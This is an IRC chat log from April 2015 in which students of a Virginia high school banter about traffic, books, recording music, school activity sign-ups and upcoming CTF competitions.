[2015-04-24T10:18:53-0400] <z3t> tj kids: 151.188.213.229 is a TJ IP right?
[2015-04-24T10:22:44-0400] <LittleBobbyTables> z3t: nou
[2015-04-24T12:31:23-0400] <jwoglom> z3t: FCPS IP
[2015-04-24T12:31:50-0400] <jwoglom> could be a TJ ip or some other school's
[2015-04-24T13:17:34-0400] <+awe> nickolas360: that makes a lot of sense.
[2015-04-24T13:22:51-0400] <JacobEdelman> oooooooh
[2015-04-24T13:23:00-0400] <JacobEdelman> that ismycodegood thing makes so much sense now
[2015-04-24T13:23:06-0400] <JacobEdelman> wait, we should actually make a legit one
[2015-04-24T13:23:13-0400] <JacobEdelman> just for one
[2015-04-24T13:34:46-0400] <+awe> JacobEdelman: there used to be open source report card which wasn't the same, but was also pretty cool.
[2015-04-24T13:34:55-0400] <+awe> JacobEdelman: but it broke after GitHub API changes and they never fixed it. :(
[2015-04-24T13:35:02-0400] <JacobEdelman> yeah
[2015-04-24T13:35:04-0400] <JacobEdelman> I saw that
[2015-04-24T13:38:18-0400] <+awe> http://resume.github.io/?aatxe
[2015-04-24T13:38:20-0400] <+awe> This is pretty neat also.
[2015-04-24T17:02:07-0400] <sdamashek> alokpathy: who's mr petel?
[2015-04-24T18:53:59-0400] <+awe> sdamashek: he's an art teacher at alokpathy's high school.
[2015-04-24T19:24:58-0400] <LittleBobbyTables> awe: I want ssd but  want to wait for them to go on sell
[2015-04-24T19:25:34-0400] <+awe> I think I'm going to apply for some M$ scholarships in the Fall.
[2015-04-24T19:29:41-0400] <LittleBobbyTables> I have to pee, but the bathroom is so far away
[2015-04-24T19:31:26-0400] <+awe> That's tragic. You should get one of those jar-leg setups.
[2015-04-24T19:31:33-0400] <+awe> That way you can pee while you're sitting.
[2015-04-24T19:34:34-0400] <LittleBobbyTables> You're a genius
[2015-04-24T19:34:37-0400] <LittleBobbyTables> How much are they
[2015-04-24T19:43:31-0400] <+awe> I don't think they're too expensive.
[2015-04-24T19:56:00-0400] <+awe> Wow, TJ folks, did you guys know that NSF is moving their headquarters to Alexandria?
[2015-04-24T19:56:26-0400] <bob_twinkles> I do now
[2015-04-24T19:56:35-0400] <bob_twinkles> why?
[2015-04-24T20:01:50-0400] <+awe> bob_twinkles: I have no idea, but it's happening in 2017 apparently.
[2015-04-24T20:01:56-0400] <bob_twinkles> meh
[2015-04-24T20:02:02-0400] <bob_twinkles> I hopefully won't be around then
[2015-04-24T20:02:06-0400] <bob_twinkles> probably needed more space
[2015-04-24T20:02:28-0400] <+awe> Probably.
[2015-04-24T20:17:18-0400] <jwoglom> i think that's starting to become a trend
[2015-04-24T20:17:36-0400] <jwoglom> a lot of government and close-to-government organizations want to move out of their offices in DC to the surrounding suburbs
[2015-04-24T20:17:50-0400] <jwoglom> for more space
[2015-04-24T20:21:34-0400] <+awe> Yeah, it makes sense. DC is tiny.
[2015-04-24T20:22:17-0400] <bob_twinkles> and you can't really actually build anything there =P
[2015-04-24T20:22:36-0400] <jwoglom> also probably because the office buildings they're in are getting old and they don't want to renovate
[2015-04-24T20:22:40-0400] <+awe> jwoglom: though, actually, the NSF isn't currently in DC. It's currently in Arlington.
[2015-04-24T20:22:56-0400] <jwoglom> eh, arlington for all intents and purposes basically is DC
[2015-04-24T20:23:29-0400] <+awe> Fair enough.
[2015-04-24T20:24:04-0400] <jwoglom> the FBI for example: "As of 2012, the J. Edgar Hoover Building is nearing the end of its useful lifespan. It is suffering from deterioration due to deferred maintenance and mediocre design. The FBI, General Services Administration, and Government Accountability Office agree that the building is no longer appropriate for the FBI, but the cost of building a new headquarters has led to inaction for
[2015-04-24T20:24:06-0400] <jwoglom> several years"
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[2015-04-24T21:59:46-0400] <z3t> oh god this is a terrible place to move anything
[2015-04-24T21:59:51-0400] <z3t> the traffic ;(
[2015-04-24T22:03:08-0400] <+awe> z3t: True story. MD/VA is horrible.
[2015-04-24T22:03:18-0400] <+awe> DC traffic is worst traffic on earth.
[2015-04-24T22:03:25-0400] <z3t> try living here...
[2015-04-24T22:04:06-0400] <jwoglom> ^^
[2015-04-24T22:04:19-0400] <+awe> No thank you.
[2015-04-24T22:04:25-0400] <+awe> I'd prefer to never live in the DC area.
[2015-04-24T22:05:22-0400] <jwoglom> the fact that despite the crazy amounts of money VDOT/etc throw into highway/road construction conditions barely improve makes me annoyed that there isn't much support for transit
[2015-04-24T22:06:13-0400] <jwoglom> like, imagine if we actually got the metro system working reliably! by replacing the management and letting them stop having to worry about funding!
[2015-04-24T22:07:18-0400] <+awe> Though I still have no idea where I actually want to settle down to live and teach.
[2015-04-24T22:24:39-0400] <JacobEdelman> awe: mars university
[2015-04-24T22:25:06-0400] <jwoglom> why not Globetrotter university?
[2015-04-24T22:26:15-0400] <+awe> JacobEdelman: do they have other PL people there? ;)
[2015-04-24T22:26:32-0400] <JacobEdelman> awe: martian programmers
[2015-04-24T22:26:35-0400] <JacobEdelman> exclusively use
[2015-04-24T22:26:40-0400] <JacobEdelman> dank memes
[2015-04-24T22:26:52-0400] <JacobEdelman> wait
[2015-04-24T22:26:56-0400] <JacobEdelman> martian programmers
[2015-04-24T22:27:04-0400] <JacobEdelman> exclussively use dank memes
[2015-04-24T22:27:11-0400] <JacobEdelman> so go and teach there
[2015-04-24T22:27:16-0400] <JacobEdelman> (that was a haiku!)
[2015-04-24T22:27:26-0400] <JacobEdelman> oh wait!
[2015-04-24T22:28:07-0400] <JacobEdelman> https://www.irccloud.com/pastebin/8SLvKkzf
[2015-04-24T22:28:42-0400] <+awe> JacobEdelman: I could potentially have a decade before I need to consider where exactly I want to work.
[2015-04-24T22:28:52-0400] <JacobEdelman> but but
[2015-04-24T22:28:55-0400] <JacobEdelman> my advice is perfect
[2015-04-24T22:28:58-0400] <JacobEdelman> its a haiku!
[2015-04-24T22:29:02-0400] <JacobEdelman> about dank memes!
[2015-04-24T22:29:07-0400] <JacobEdelman> what else do you want form life?
[2015-04-24T22:29:19-0400] <bob_twinkles> maybe we'll be on mars by them awe =P
[2015-04-24T22:29:21-0400] <bob_twinkles> *then
[2015-04-24T22:29:28-0400] <bob_twinkles> (lol #dreamon)
[2015-04-24T22:29:54-0400] <+awe> I doubt I'd want to commit to working on a university on Mars.
[2015-04-24T22:30:02-0400] <jwoglom> it would be so cool though
[2015-04-24T22:30:12-0400] <jwoglom> why WOULDN'T you want to work and live on mars?
[2015-04-24T22:30:15-0400] <alokpathy> awe: Are you sure about that?
[2015-04-24T22:30:18-0400] <alokpathy> :P
[2015-04-24T22:30:23-0400] <+awe> Sure, and some other cool people can go work there, but I'm pretty happy with Earth.
[2015-04-24T22:30:36-0400] <+awe> Especially because I don't see any reason why there'd be a bunch of PL researchers in space.
[2015-04-24T22:30:54-0400] <alokpathy> There's surprisingly a lot.
[2015-04-24T22:30:56-0400] <alokpathy> A bit more than -1.
[2015-04-24T22:31:17-0400] <JacobEdelman> awe: *gasp*
[2015-04-24T22:31:21-0400] <JacobEdelman> you don't see a reason?
[2015-04-24T22:31:25-0400] <JacobEdelman> I mean, imagine this
[2015-04-24T22:31:31-0400] <JacobEdelman> I'm next to you explaining lark
[2015-04-24T22:31:33-0400] <JacobEdelman> and I refuse to stop
[2015-04-24T22:31:34-0400] <+awe> alokpathy: lol, good point.
[2015-04-24T22:31:38-0400] <JacobEdelman> and all you have is duck tape
[2015-04-24T22:31:43-0400] <JacobEdelman> and a rocket ship
[2015-04-24T22:31:48-0400] <JacobEdelman> what do you do?
[2015-04-24T22:31:57-0400] <JacobEdelman> hint: it ends with one more programmer in space
[2015-04-24T22:32:10-0400] <+awe> Lol.
[2015-04-24T22:32:29-0400] <JacobEdelman> :p
[2015-04-24T22:32:31-0400] <JacobEdelman> :P
[2015-04-24T22:32:39-0400] <JacobEdelman> wat
[2015-04-24T22:32:44-0400] <JacobEdelman> I didn't say they were alive
[2015-04-24T22:33:38-0400] <LittleBobbyTables> 2:32 AM <mib_qh1wl8> you need to stop being mean dude
[2015-04-24T22:33:38-0400] <LittleBobbyTables> 2:32 AM <cptnXn> Can't
[2015-04-24T22:33:38-0400] <LittleBobbyTables> 2:33 AM <mib_qh1wl8> aite have fun getting a job with your cynicalness
[2015-04-24T22:33:41-0400] <LittleBobbyTables> Little does he know...
[2015-04-24T22:35:00-0400] <JacobEdelman> lol
[2015-04-24T22:35:03-0400] <JacobEdelman> what chan?
[2015-04-24T22:35:08-0400] <JacobEdelman> watching you troll is fun
[2015-04-24T22:35:34-0400] <+awe> LittleBobbyTables: you're already employed! Woooooo!
[2015-04-24T22:35:47-0400] <LittleBobbyTables> That was in PMs, JacobEdelman 
[2015-04-24T22:36:08-0400] <JacobEdelman> LittleBobbyTables: oh, okay
[2015-04-24T22:43:55-0400] <LittleBobbyTables> JacobEdelman: 
[2015-04-24T22:43:57-0400] <LittleBobbyTables> 2:32 AM <mib_qh1wl8> you need to stop being mean dude
[2015-04-24T22:43:57-0400] <LittleBobbyTables> 2:32 AM <cptnXn> Can't
[2015-04-24T22:43:57-0400] <LittleBobbyTables> 2:33 AM <mib_qh1wl8> aite have fun getting a job with your cynicalness
[2015-04-24T22:43:57-0400] <LittleBobbyTables> 2:33 AM <cptnXn> I have one already, thanks for your concern :)
[2015-04-24T22:43:57-0400] <LittleBobbyTables> 2:40 AM <cptnXn> And to be honest, it's probably better than most people in the channel could land :/
[2015-04-24T22:43:57-0400] <LittleBobbyTables> 2:43 AM <mib_qh1wl8> hey wait are you struggling with web f too?
[2015-04-24T22:43:57-0400] <LittleBobbyTables> 2:43 AM <mib_qh1wl8> dude I can't even think straight enough now to do the injection
[2015-04-24T22:43:57-0400] <LittleBobbyTables> 2:43 AM <mib_qh1wl8> like
[2015-04-24T22:45:23-0400] <bob_twinkles> pls2pastebin
[2015-04-24T22:45:30-0400] <LittleBobbyTables> https://www.irccloud.com/pastebin/jyiqjlI4
[2015-04-24T22:46:22-0400] <bob_twinkles> before you paste it in channel >_>
[2015-04-24T22:47:19-0400] <LittleBobbyTables> lol
[2015-04-24T23:56:33-0400] <JacobEdelman> BRANDON SANDERSON FTW!
[2015-04-24T23:57:22-0400] <+awe> JacobEdelman: Why are you shouting about someone named Brandon Sanderson?
[2015-04-24T23:57:41-0400] <JacobEdelman> https://en.wikipedia.org/wiki/Brandon_Sanderson
[2015-04-24T23:57:45-0400] <JacobEdelman> he's the single best author
[2015-04-24T23:57:55-0400] <JacobEdelman> every book he has written is great
[2015-04-24T23:58:01-0400] <JacobEdelman> although most are amazing
[2015-04-24T23:58:06-0400] <JacobEdelman> of the highest level of nerd quality
[2015-04-24T23:58:09-0400] <JacobEdelman> and writing
[2015-04-24T23:58:12-0400] <JacobEdelman> and action
[2015-04-24T23:58:14-0400] <JacobEdelman> and drama
[2015-04-24T23:58:16-0400] <JacobEdelman> and intelligance
[2015-04-24T23:58:19-0400] <JacobEdelman> *intelligence
[2015-04-24T23:58:23-0400] <JacobEdelman> and plot
[2015-04-24T23:58:27-0400] <JacobEdelman> and everything else
[2015-04-24T23:58:37-0400] <JacobEdelman> I just got finished reading another book by hi,
[2015-04-24T23:58:41-0400] <JacobEdelman> its awesome
[2015-04-24T23:58:43-0400] <JacobEdelman> which was expected
[2015-04-24T23:59:35-0400] <LittleBobbyTables> I don't feel like reading him now.
[2015-04-25T00:03:21-0400] <JacobEdelman> TO BAD
[2015-04-25T00:03:24-0400] <JacobEdelman> read anyway
[2015-04-25T00:03:27-0400] <JacobEdelman> hes that good
[2015-04-25T00:03:30-0400] <JacobEdelman> I reccomend mistborn
[2015-04-25T00:06:03-0400] <LittleBobbyTables> I don't care.
[2015-04-25T00:06:33-0400] <JacobEdelman> to bad
[2015-04-25T00:30:55-0400] <sdamashek> whee, https://tjctf.org
[2015-04-25T00:32:31-0400] <LittleBobbyTables> are hs only eligible for prizes
[2015-04-25T00:33:47-0400] <bob_twinkles> yes
[2015-04-25T00:35:21-0400] <LittleBobbyTables> Usernames must be between 3 and 20 characters.
[2015-04-25T00:35:25-0400] <LittleBobbyTables> wut
[2015-04-25T00:35:46-0400] <fwilson> you should tjctf
[2015-04-25T01:07:22-0400] <LittleBobbyTables> z3t: LOL
[2015-04-25T01:08:29-0400] <z3t> next time they hold a ctf site is going offline
[2015-04-25T01:08:31-0400] <z3t> gg
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[2015-04-25T01:30:17-0400] <LittleBobbyTables> lmao
[2015-04-25T01:30:18-0400] <LittleBobbyTables> why
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[2015-04-25T09:01:53-0400] <alokpathy> bob_twinkles: What prizes? :o
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[2015-04-25T10:53:44-0400] <alokpathy> I thought me impersonating Animesh in #tjhsst for about a month was cool
[2015-04-25T10:53:47-0400] <alokpathy> but this guy just
[2015-04-25T10:53:51-0400] <alokpathy> took it to a whole new level
[2015-04-25T10:53:53-0400] <alokpathy> https://en.wikipedia.org/wiki/George_P._Burdell
[2015-04-25T11:12:09-0400] <JacobEdelman> alokpathy: wait, you're still impersonating him, aren't you?
[2015-04-25T11:12:28-0400] <alokpathy> Mhm
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[2015-04-25T11:25:04-0400] <JacobEdelman> Well
[2015-04-25T11:25:16-0400] <JacobEdelman> What grade is animesh in
[2015-04-25T11:28:00-0400] <alokpathy> 11th
[2015-04-25T11:37:16-0400] <JacobEdelman> Okay
[2015-04-25T11:37:44-0400] <JacobEdelman> So you have one year until you get to be a Princeton alum
[2015-04-25T11:37:51-0400] <JacobEdelman> *tj
[2015-04-25T11:41:44-0400] <alokpathy> Yup
[2015-04-25T11:41:46-0400] <alokpathy> :)
[2015-04-25T11:41:57-0400] <JacobEdelman> Once you are
[2015-04-25T11:41:59-0400] <alokpathy> Darn I have to do college aps all over again
[2015-04-25T11:42:11-0400] <JacobEdelman> Yup :P
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[2015-04-25T12:20:08-0400] <failedxyz> hi
[2015-04-25T12:26:13-0400] <fwilson> Tamini: i'm going on another music-writing streak :D
[2015-04-25T12:35:13-0400] <Tamini> fwilson: :D
[2015-04-25T12:35:20-0400] <Tamini> let me hear it when its doneee
[2015-04-25T12:35:26-0400] <fwilson> ok
[2015-04-25T12:35:27-0400] <Tamini> its such good studying music it makes me happy
[2015-04-25T12:36:30-0400] <fwilson> :D
[2015-04-25T12:39:29-0400] <fwilson> Tamini: should i make a hand-drawn album cover
[2015-04-25T12:39:33-0400] <fwilson> "insert good title here"
[2015-04-25T12:39:34-0400] <Tamini> yes
[2015-04-25T12:39:37-0400] <fwilson> ok
[2015-04-25T12:39:38-0400] <Tamini> wait are you good at art? :O
[2015-04-25T12:39:39-0400] <fwilson> no
[2015-04-25T12:39:39-0400] <Tamini> i never knew that
[2015-04-25T12:39:41-0400] <fwilson> llol
[2015-04-25T12:39:44-0400] <fwilson> i'm really bad at it
[2015-04-25T12:39:44-0400] <Tamini> then even more do it
[2015-04-25T12:39:46-0400] <fwilson> ok
[2015-04-25T12:39:47-0400] <fwilson> lol
[2015-04-25T12:39:49-0400] <fwilson> brb
[2015-04-25T13:05:20-0400] <fwilson> Tamini: album art done lol
[2015-04-25T13:05:26-0400] <Tamini> show mee
[2015-04-25T13:05:38-0400] <jwoglom> ooh you're making another one?
[2015-04-25T13:05:52-0400] <fwilson> yeah
[2015-04-25T13:05:55-0400] <fwilson> well
[2015-04-25T13:06:00-0400] <fwilson> would be great if i could actually get the file
[2015-04-25T13:06:05-0400] <fwilson> brb flash drive finding time
[2015-04-25T13:07:35-0400] <Tamini> lol okay
[2015-04-25T13:08:06-0400] <fwilson> one sec, still need to crop it
[2015-04-25T13:08:50-0400] <fwilson> Tamini: http://i.imgur.com/5clbNjg.png
[2015-04-25T13:09:03-0400] <Tamini> that's cute
[2015-04-25T13:09:04-0400] <Tamini> lol
[2015-04-25T13:09:11-0400] <fwilson> that is my cover art now lol
[2015-04-25T13:09:18-0400] <fwilson> Tamini: i hand-drew that
[2015-04-25T13:09:20-0400] <fwilson> with a pencil
[2015-04-25T13:09:21-0400] <Tamini> i can tell
[2015-04-25T13:09:22-0400] <Tamini> it's nice
[2015-04-25T13:09:28-0400] <fwilson> i am really bad at drawing lol
[2015-04-25T13:09:33-0400] <fwilson> look at the S and the Rs
[2015-04-25T13:09:35-0400] <fwilson> lol
[2015-04-25T13:09:38-0400] <jwoglom> that's wonderful
[2015-04-25T13:09:39-0400] <jwoglom> :P
[2015-04-25T13:10:01-0400] <fwilson> ok time to make more music :D
[2015-04-25T13:10:43-0400] <jwoglom> scanners don't really work well with pencil lol
[2015-04-25T13:12:50-0400] <fwilson> jwoglom: yeah lol
[2015-04-25T13:12:56-0400] <fwilson> i had to set it to black and white just to get it to look like that
[2015-04-25T13:13:04-0400] <fwilson> then it decided that a 5100-pixel wide image was a good thing
[2015-04-25T13:13:26-0400] <Tamini> lol
[2015-04-25T13:14:27-0400] <jwoglom> i like how there are random little dots in the whitespace areas
[2015-04-25T13:14:29-0400] <jwoglom> lol
[2015-04-25T13:16:09-0400] <fwilson> jwoglom: which things
[2015-04-25T13:16:24-0400] <fwilson> the small text
[2015-04-25T13:16:26-0400] <fwilson> or the big text
[2015-04-25T13:17:40-0400] <jwoglom> like, just near the top of the image
[2015-04-25T13:17:55-0400] <jwoglom> and also around the first o in good
[2015-04-25T13:21:15-0400] <fwilson> jwoglom: oh those are erase marks
[2015-04-25T13:21:18-0400] <fwilson> lol
[2015-04-25T13:21:34-0400] <jwoglom> yeah they looked kind of like that, heh
[2015-04-25T13:21:40-0400] <jwoglom> how are you musicing
[2015-04-25T13:21:49-0400] <fwilson> i have 4 musics so far
[2015-04-25T13:21:58-0400] <fwilson> 3 of those are ~3mins each
[2015-04-25T13:22:04-0400] <fwilson> and i have a close to 5min one iirc
[2015-04-25T13:22:11-0400] <jwoglom> that's cool
[2015-04-25T13:22:22-0400] <fwilson> so halfway-ish done?
[2015-04-25T13:22:24-0400] <fwilson> idk
[2015-04-25T13:22:36-0400] <jwoglom> how many pieces have you been putting in an "album" before?
[2015-04-25T13:23:08-0400] <fwilson> 8ish, usually removing two and adding two later
[2015-04-25T13:23:23-0400] <fwilson> like there were a few in abstractions that were just bad lol
[2015-04-25T13:23:33-0400] <jwoglom> you should music at tj
[2015-04-25T13:23:35-0400] <jwoglom> marching band! :P
[2015-04-25T13:23:36-0400] <fwilson> i want to get these right the first time
[2015-04-25T13:23:39-0400] <fwilson> lol
[2015-04-25T13:23:43-0400] <fwilson> too much of a time commitment
[2015-04-25T13:23:46-0400] <fwilson> or however it's spelled
[2015-04-25T13:23:51-0400] <Tamini_> heh
[2015-04-25T13:24:01-0400] <jwoglom> lol but it's senior year
[2015-04-25T13:24:02-0400] <Tamini_> you should play one of them for us
[2015-04-25T13:24:05-0400] <failedxyz> hei wat is happening
[2015-04-25T13:24:07-0400] <Tamini_> except in like a practice room
[2015-04-25T13:24:14-0400] <Tamini_> and not on the painful syslab piano
[2015-04-25T13:24:15-0400] <jwoglom> or in the syslab, lol
[2015-04-25T13:24:23-0400] <jwoglom> the ones in the practice rooms still aren't great
[2015-04-25T13:24:28-0400] <jwoglom> better than the syslab ones though definitely
[2015-04-25T13:24:33-0400] <Tamini_> the grand in the band room? :P
[2015-04-25T13:24:35-0400] <jwoglom> they actually (gasp) get tuned like once a year!
[2015-04-25T13:24:47-0400] <Tamini_> i hang out there before practice sometimes and it's nice
[2015-04-25T13:24:47-0400] <fwilson> lol
[2015-04-25T13:25:05-0400] <fwilson> Tamini_: are the practice rooms open for anyone actually
[2015-04-25T13:25:06-0400] <jwoglom> yeah there are a few good ones
[2015-04-25T13:25:08-0400] <fwilson> like during lunch
[2015-04-25T13:25:12-0400] <jwoglom> yeah you can just go in there
[2015-04-25T13:25:12-0400] <fwilson> and eighth period
[2015-04-25T13:25:18-0400] <fwilson> is there an eighth period for that?
[2015-04-25T13:25:20-0400] <jwoglom> there are 3 ones that are actually available to be used
[2015-04-25T13:25:25-0400] <fwilson> it'd be nice recording on an actual piano lol
[2015-04-25T13:25:30-0400] <fwilson> even if it is out of tune a little
[2015-04-25T13:25:32-0400] <jwoglom> i think there's an activity for piano reservations
[2015-04-25T13:25:32-0400] <Tamini_> yeah
[2015-04-25T13:25:39-0400] <jwoglom> otherwise just sign up for band open practice
[2015-04-25T13:25:42-0400] <Tamini_> but lunch if youre fast theyre open
[2015-04-25T13:25:43-0400] <jwoglom> or anything by foreman/bailey
[2015-04-25T13:25:48-0400] <fwilson> huh.
[2015-04-25T13:25:50-0400] <fwilson> neat
[2015-04-25T13:25:53-0400] <fwilson> yeah i think i might at some point
[2015-04-25T13:25:58-0400] <Tamini_> whooo
[2015-04-25T13:26:01-0400] <Tamini_> tell me when i'll go
[2015-04-25T13:26:01-0400] <fwilson> why did i not know about this sooner lol
[2015-04-25T13:26:03-0400] <fwilson> lol
[2015-04-25T13:26:11-0400] <jwoglom> wait a minute are we actually sort of getting fox to become a music person
[2015-04-25T13:26:13-0400] <jwoglom> i'm impressed
[2015-04-25T13:26:33-0400] <fwilson> lol
[2015-04-25T13:26:47-0400] <jwoglom> i thought i would never see fox in the music wing, ever, lol
[2015-04-25T13:27:06-0400] <fwilson> "Open Music Practice-Strings Only"
[2015-04-25T13:27:09-0400] <fwilson> not dank
[2015-04-25T13:27:54-0400] <jwoglom> there's a "piano reservation" activity plus band open practice
[2015-04-25T13:27:56-0400] <jwoglom> one of those should work :P
[2015-04-25T13:28:10-0400] <fwilson> huh, neat
[2015-04-25T13:28:16-0400] <fwilson> how quickly do those fill up
[2015-04-25T13:28:54-0400] <fwilson> >presign
[2015-04-25T13:28:57-0400] <fwilson> ok
[2015-04-25T13:28:59-0400] <fwilson> :(
[2015-04-25T13:29:12-0400] <jwoglom> band open prac usually gets close to or actually fills
[2015-04-25T13:29:14-0400] <fwilson> "Coding Lady Colonials"
[2015-04-25T13:29:16-0400] <fwilson> Description: men welcome
[2015-04-25T13:29:18-0400] <fwilson> ok
[2015-04-25T13:29:20-0400] <jwoglom> and the piano reservation one has only 3 slots, lol
[2015-04-25T13:29:23-0400] <fwilson> yeah, i saw
[2015-04-25T13:29:31-0400] <fwilson> ok time to rewrite iodinebot
[2015-04-25T13:29:44-0400] <jwoglom> what does iodinebot do, lol
[2015-04-25T13:29:54-0400] <fwilson> signs up for eighth periods
[2015-04-25T13:30:10-0400] <fwilson> like presign is very easy to get around without pressing "force" lol
[2015-04-25T13:30:19-0400] <fwilson> you just write a script that signs you up exactly 48 hours before the block
[2015-04-25T13:31:49-0400] <jwoglom> ah ok
[2015-04-25T13:31:51-0400] <jwoglom> yeah makes sense
[2015-04-25T13:31:54-0400] <jwoglom> it's pretty easy to do that
[2015-04-25T13:32:03-0400] <jwoglom> i dont actually do that cause i never sign up for presigns tho, lol
[2015-04-25T13:34:13-0400] <fwilson> lol
[2015-04-25T13:36:03-0400] <Tamini_> wait fwilson can I have it
[2015-04-25T13:38:22-0400] <fwilson> Tamini_: it doesn't quite exist
[2015-04-25T13:38:29-0400] <fwilson> i have API interface code on github iirc though
[2015-04-25T13:38:40-0400] <Tamini_> mmok
[2015-04-25T13:44:20-0400] <fwilson> Tamini_ / jwoglom: https://fwilson.bandcamp.com/album/insert-good-title-here is what i have so far
[2015-04-25T13:44:53-0400] <fwilson> ok apparently the 5 minute one was 4 minutes actually
[2015-04-25T13:47:10-0400] <fwilson> actually
[2015-04-25T13:47:14-0400] <fwilson> does anyone here that as just all silence
[2015-04-25T13:48:19-0400] <fwilson> nope, just chrome being dumb
[2015-04-25T13:50:25-0400] <alokpathy> Officially a Yellow Jacket!
[2015-04-25T13:51:18-0400] <fwilson> wat
[2015-04-25T13:54:27-0400] <Tamini_> lol
[2015-04-25T13:54:37-0400] <Tamini_> also give me a sec before i go listen
[2015-04-25T13:58:25-0400] <alokpathy> GT's mascot, lol
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[2015-04-25T14:09:26-0400] <LittleBobbyTables> whats the irc for the ctf
[2015-04-25T14:13:45-0400] <+awe> So, this is a thing: 	https://github.com/jakub-/github-contributors-geojson/blob/master/rust.geojson
[2015-04-25T14:14:06-0400] <+awe> As it turns out, there's another Ruster at UMass. He's a Physics grad student.
[2015-04-25T14:14:13-0400] <fwilson> >Ruster
[2015-04-25T14:14:13-0400] <+awe> https://github.com/bgamari
[2015-04-25T14:14:16-0400] <fwilson> isn't that bad
[2015-04-25T14:14:20-0400] <+awe> Rustacean.
[2015-04-25T14:15:06-0400] <fwilson> better
[2015-04-25T14:15:15-0400] <+awe> He also does Haskell.
[2015-04-25T14:19:32-0400] <+awe> This was a weird thing to randomly stumble upon.
[2015-04-25T14:23:10-0400] <Tamini_> heh
[2015-04-25T14:31:02-0400] <+awe> It's funny though because once you zoom in a bit on Massachusetts there's a ton of people in the Boston area, and then there's just me and this guy in the middle of nowhere. ;)
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[2015-04-25T14:34:55-0400] <JacobEdelman> I'm on the ocean
[2015-04-25T14:35:07-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/qVLFLXBs/IMG_20150425_132715.jpg
[2015-04-25T14:35:22-0400] <+awe> Congratulations, JacobEdelman!
[2015-04-25T14:35:45-0400] <JacobEdelman> There are dolphins
[2015-04-25T14:36:18-0400] <JacobEdelman> And a good cellular connection  apparently
[2015-04-25T14:36:38-0400] <+awe> Evidently. Where are you?
[2015-04-25T14:43:08-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=-jGeBVLVF58
[2015-04-25T15:01:26-0400] <JacobEdelman> Cape may
[2015-04-25T15:01:44-0400] <JacobEdelman> It's for my grandmother's 75th birthday
[2015-04-25T15:01:56-0400] <JacobEdelman> We are spending the weekend here
[2015-04-25T15:02:25-0400] <+awe> Ah, very cool.
[2015-04-25T15:03:03-0400] <z3t> alokpathy: gratZ!
[2015-04-25T15:03:17-0400] <z3t> gratz *
[2015-04-25T15:03:32-0400] <jwoglom> fwilson: how do you record? have an electric keyboard that you plug in to your computer or something?
[2015-04-25T15:03:50-0400] <fwilson> jwoglom: it's an electric piano with a usb midi interface
[2015-04-25T15:03:51-0400] <fwilson> so yeah
[2015-04-25T15:03:56-0400] <jwoglom> oh cool
[2015-04-25T15:04:01-0400] <fwilson> i use rosegarden and qsynth to actually listen to things
[2015-04-25T15:04:07-0400] <fwilson> and then timidity to record to .wav/.flac
[2015-04-25T15:04:08-0400] <jwoglom> i have an electric piano but it doesn't have midi out
[2015-04-25T15:04:11-0400] <fwilson> :
[2015-04-25T15:04:14-0400] <fwilson> :/
[2015-04-25T15:04:36-0400] <jwoglom> i mean, i don't play anymore, so :P
[2015-04-25T15:04:47-0400] <jwoglom> oh wait, i lied. it does have midi out
[2015-04-25T15:05:07-0400] <jwoglom> i just don't have any midi equipment
[2015-04-25T15:05:40-0400] <fwilson> usb midi stuff is pretty cheap
[2015-04-25T15:05:45-0400] <fwilson> so if you wanted to
[2015-04-25T15:05:48-0400] <fwilson> it's not too hard to get started
[2015-04-25T15:05:56-0400] <jwoglom> fwilson: my thought is you should try more things with changing tempos/dynamics
[2015-04-25T15:06:13-0400] <fwilson> jwoglom: i've been playing with that a little bit
[2015-04-25T15:06:22-0400] <fwilson> it hasn't turned out too well yet
[2015-04-25T15:06:31-0400] <fwilson> but i'll keep trying and hopefully that will be a 5th/6th track
[2015-04-25T15:06:35-0400] <fwilson> :D
[2015-04-25T15:06:46-0400] <jwoglom> seems like i have a casio wk-1630
[2015-04-25T15:07:12-0400] <fwilson> that looks like a newer version of what i used to have
[2015-04-25T15:07:29-0400] <jwoglom> i think i got it maybe '05? someone else in my family had it
[2015-04-25T15:07:49-0400] <fwilson> yeah all of these have a pitch bend knob
[2015-04-25T15:07:55-0400] <fwilson> oh not bad
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[2015-04-25T18:37:49-0400] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-04-25T18:37:49-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-25T16:48:21-0400] <nkf1> they're not
[2015-04-25T16:48:27-0400] <fwilson> lol
[2015-04-25T16:48:29-0400] <fwilson> rekt
[2015-04-25T16:48:32-0400] <nkf1> quotebot just submits quotes to the main QDB
[2015-04-25T16:48:37-0400] <assface> so
[2015-04-25T16:48:40-0400] <assface> it's useless
[2015-04-25T16:48:46-0400] <assface> is what you're saying
[2015-04-25T16:48:52-0400] <nkf1> well
[2015-04-25T16:49:00-0400] <nkf1> it makes submitting quotes easier
[2015-04-25T16:49:05-0400] <nkf1> some may find it more useful than others
[2015-04-25T16:49:46-0400] <nkf1> on #gunn it's been a little useful
[2015-04-25T16:49:53-0400] <nkf1> it may not be useful everywhere
[2015-04-25T16:50:53-0400] <z3t> I don't like your bot
[2015-04-25T16:50:59-0400] <jwoglom> hardmath123 isn't even in this channel anymore
[2015-04-25T16:50:59-0400] <nkf1> ok
[2015-04-25T16:51:00-0400] <jwoglom> lol
[2015-04-25T16:51:43-0400] <z3t> the only thing it seems uesful for is filling up the diskspace on backtick.town
[2015-04-25T16:51:47-0400] <assface> lol
[2015-04-25T16:52:14-0400] <z3t> rip
[2015-04-25T17:12:43-0400] <Tamini_> i miss kartik
[2015-04-25T17:15:02-0400] <Tamini_> you guys were mean
[2015-04-25T17:15:47-0400] <jwoglom> why did he leave?
[2015-04-25T17:17:55-0400] <bob_twinkles> and this is why we have quote approval for cslbot >_>
[2015-04-25T17:27:35-0400] <z3t> boo cslbot 
[2015-04-25T17:27:56-0400] <jwoglom> cslbot is pretty solid
[2015-04-25T17:28:14-0400] <fwilson> cslbot is solid but has a terrifying core
[2015-04-25T17:28:56-0400] <bob_twinkles> fwilson: speaking of is your IRC library on your github account?
[2015-04-25T17:29:21-0400] <fwilson> watchtower/asyncirc
[2015-04-25T17:48:14-0400] <LittleBobbyTables> z3t: wanna do hsctf together and be ineligible :P
[2015-04-25T17:51:10-0400] <z3t> I like eligible 
[2015-04-25T17:51:24-0400] <z3t> but wanna try it with a new team ;l
